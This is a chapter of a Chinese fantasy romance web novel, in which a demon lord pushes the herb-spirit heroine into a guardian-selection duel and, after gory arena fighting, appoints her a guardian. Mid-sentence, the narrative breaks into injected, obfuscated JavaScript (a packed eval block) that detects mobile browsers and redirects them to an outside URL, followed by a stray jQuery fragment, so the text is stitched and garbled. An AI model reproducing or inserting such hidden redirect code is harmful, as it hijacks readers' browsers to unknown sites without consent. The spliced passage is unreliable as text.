镜片折过微光,叫人莫名生出几分妄念——想凑近些,看清透镜之后究竟藏着怎样窅不可测的幽暧,哪怕被那抹殷红吞噬也无妨。
仙草不懂得人类诱惑彼此的手段,只是觉得,魔尊用这副容颜嗓音含笑发问时,才像是真正的勾引和媚术。
感受到妩织心跳加速,柳无枝呆呆问:“百里玄夜?是你的家人吗?”
百里折阙嗤之以鼻:“当年他用封魔钉封死十二经络,附上一碗葬天渊水,将本座丢进仙门之界时,倒的确用过这个称呼。”
重伤的魔独自落入仙界,一定会饱受欺负。
柳无枝皱眉:“那他肯定不是你的家人。”
百里折阙看着她毫无遮掩的神情,嗜血眸色渐暗:“倒是擅长装傻。”
二人彼此试探,看在众人眼里,却是魔尊和美人耳鬓厮磨、沉浸其中,连选护法这等大事都无暇管顾。
……谈情误事,尊主大人您可是要一统三界的,千万别陷进去啊!
时辰将尽,擂台上还站着的已经只剩两人,一个周身黑黢黢的男子,一个肌肤绿荧荧的女子。
绿色的那个分外符合仙草的审美。
才流露出几分欣赏期待,却见魔尊一挥手,一粒同方才一模一样的水晶石如流星划出,眼前仿佛炸开了除夕夜的满城烟花,猩色红海翻澜,女子所在的半边擂台都四分五裂。相比之下,柳无枝刚刚扔的只是个响炮。
原本处于劣势的黑皮男子:?
尊主杀了难缠的对手,是想要助他成为新的烬墟护法吗?
却见魔尊一掌将怀中佳人拍飞出去:“还剩半炷香,恰好本座的爱妃也欲一战。”
柳无枝:???
黑皮男子:???
单薄纤瘦的少女坠在半毁的擂台边缘,与魁梧壮汉面面相觑。
这可是尊主宠幸过的女人,到底能打还是不能打?
黑皮男子抬头望了一眼俯瞰战局的渊澜。对方摇着扇子,悠闲无比:“擂台之上,死生自负,胆怯者可自行下去。”
那种小白脸,他平日一拳就能打十个。只要赢了这局擂台,他就能晋升五大护法,与之平起平坐,再也不用看这厮逞威作福。
重赏之下,必有勇夫。黑皮男子对柳无枝摩拳擦掌:“属下得罪了。”
所谓后宫美人,不过是以色侍人的玩物而已。只要稍加恐吓,吓得她自己逃下擂台,这局就算完胜了。
魔尊炸过烟花的地上全是断肢残骸,柳无枝先试着拼凑了一下绿皮姐姐的躯干,正为形状不对苦恼不已,转身却见黑皮男子已冲自己挥拳而来。
她本能想躲,没留神踩着一滩黏腻的血肉,拐着弯“噗通”滑倒。黑皮男子打了个空,差点也被惯性摔下去。
不愧是尊主委派的美人,竟如此有心机!
柳无枝见他眼底冒火,还没反应过来怎么回事,对方再次抡拳逼近。
薄如纸片的人影根本不可能挡得下这般重击,花容将崩,眼前倏地飘来一片紫羽,迎风挡住——看似轻盈,却直接割开了黑色皮肤。
男子慌忙收力撤退,只见成群的昏鸦铺天盖地而来,叽喳乱叫着:“枝枝!枝枝!”
冥蝶鳞粉凝成保护结界,把从血泊尸堆里艰难起身的少女护裹得严严实实。
“谢谢。”柳无枝真心实意感激,帮着挑拣还算完好的残骸喂给它们。
见此情状,被蝶翅风掀下擂台的黑皮男子彻底懵了。
命兽只听令于饲主,魔尊大人,您不带这么放水的吧?
呆怔间,时限已到。
柳无枝还在同福蝶鸦鸦交流感情,视线里闯入一片深紫衣角。抬头,百里折阙正阴沉沉盯着她,气压比刚才更低了:“这也是你的计划?”
控制他的命兽,扰乱护法竞赛。
柳无枝眨巴眨巴眼睫,颊上还滴答着别人的血,纠正:“之前是你让我和它们相处的,也是你刚刚把我丢了下去。”
潜台词是,现在这个状况都是你自己作的。
被魔尊的命兽喜欢,她也很无奈啊。
少女一脸无辜,百里折阙狠狠磨了磨后槽牙,唇边逸出的气音像是被人算计的气急败坏。半晌,他怒极反笑:“那便如你们所愿。”
柳无枝没听懂那个“你们”还包括谁,手边的那只冥蝶已经化作一块凝固的令牌落在掌心,质感沉实,篆纹古奥。
渊澜反应极快,立刻瞬移上前,对柳无枝行礼:“劫晦见过新任烬墟护法。”
台下还侥幸活着的人也纷纷下跪:“参见烬墟护法妩织大人!”
柳无枝:“……!”
这个魔尊是真有病!
*
虽然莫名其妙,但既然成了新任烬墟护法,就可以跟着魔尊去秽境了。
比起护法令牌,柳无枝还是更想要那只坏了的小铃铛。毕竟,修铃铛肯定比讨好魔尊容易。
现在,她不仅要跟着魔尊单独行动,还要应对反派,然后再想办法回到仙门,简直太凌乱了。
柳无枝满怀苦恼,回到后宫收拾行李,却被一群美人堵住了路。
“听闻妩织妹妹封了新任烬墟护法。”今早嘲讽她的美人满脸堆笑,仿佛变了一个人,“妾身眼拙,先前多有冒犯,还望妹妹切莫挂怀。”
被尊主临幸,在死牢呆了整整三天,还能够单独去主殿面见尊主,这些已经匪夷所思。如今她居然一跃成为五大护法,再不见风使舵,就是不识时务了。
柳无枝听得懵懵懂懂,但能感受得到她发自内心的真诚,接过美人送来的贺礼,并回以一个不记仇的微笑。
见她这般好说话,其余人立刻蜂拥凑近,你一言我一语,或夸赞叮嘱,或赠送出门在外需要的钱两用具,还有几人为了抢着帮柳无枝整理杂物而吵了起来。原本剑拔弩张的后宫变得其乐融融,只有个别贵族还拉不下脸,时不时远远投射来几道嫉妒的视线。
收拾各色行囊的任务被众人全包,柳无枝便开始收拾自己,拿起沾满闪粉的系带,重
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16406191|184476||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
新扎好小揪揪和蝴蝶结。
这些丝带是她从妩织的暗袋里找到的,之所以拿来当辫绳,只是觉得那布灵布灵的料子分外好看。
殊不知,她拿浸过逆鳞粉的缎带扎辫子的行为,早就通过烬墟护法的令牌,投影映在魔宫主殿之内。
殿内寂静无声,渊澜看得心惊肉跳。
这个卧底实在太嚣张了,居然明晃晃把与百里玄夜的私通之物戴在尊主面前乱晃!是生怕尊主看不见,还是觉得尊主瞎?说不定,争夺护法之位也是她故意为之。
魔尊凝视着幻象,始终淡然无波。
渊澜尽力稳住情绪,上前跪伏道:“经属下调查,秽境境主买卖逆鳞粉之事属实,但近日境主只在拍卖会接见第一金主。此行多有埋伏,不妨属下行明线,您与烬……”
他瞄了一眼幻象里来者不拒、毫无威势的少女,还是没法唤出“烬墟护法”几个字,便道:“……妩织美人行暗线,倘有不虞,也足以应对。”
劫晦护法追随魔尊数百年,还是低估了自家主子的随性程度。选护法这么重大的事,尊主居然不设条件比武,最后还封了卧底美人——诱敌深入,也不能深到这个程度吧!
他内心崩溃,魔尊已事不关己起身:“本座离宫期间,让冥骸守。”
提起同僚,渊澜忍不住道:“冥骸护法已被亡魂怨念侵蚀,时常神智恍惚,再继续杀戮下去,恐怕对魔元有损。”
何况,虽然都是护法,可冥骸那个只有块头没有脑子的家伙,怎么担当得了如此大任?万一又有别的卧底混进来怎么办?
魔尊越过他,原地炸了半枚碎水晶,似在说:杀,还是死?
尊重人性?体恤下属?笑话。在魔宫,只分有用之人和死人而已。
“可宫中还有不少叛……”渊澜止言又欲,在魔尊不耐烦的视线里,默默闭嘴。
算了,他早就汇报过宫里不止一个细作,与其让尊主直接屠宫,那还不如装作不知道。
就算冥骸守不住魔宫,尊主也能打回来。
华丽的银紫衣袍从眼前缓慢滑过,头顶又甩下一句:“转告妄昙取灵植。”
妄昙护法绿绡从来只培育毒株,渊澜还以为听岔了:“灵植?不是仙门才有吗?”
话音未落,眼前的袍角已经消失。
渊澜在空殿内独自跪了半晌,终于反应过来:要抢。
问题在于,从前尊主从来看不上仙门的东西,怎么突然转性了?
未消散的令牌投影中,魔尊凭空出现在卧底美人身边,在后宫众人惊诧惧怖的视线里将她提起。少女纤细的腰肢被单手挟着,辫子上的逆鳞粉缎带在空中划出亮晶晶的弧线,挣扎间更凸显出上下身段那饱满玲珑的曲线。
渊澜看得眼角直抽。那丝带飘舞的辫子,仿佛不是在抽打空气,而是在抽打他的神经。
烬墟护法执掌刑狱?改成“性|欲”还差不多!
秽境这一趟孤男寡女的,尊主您千万要稳住,可别擦枪走火啊!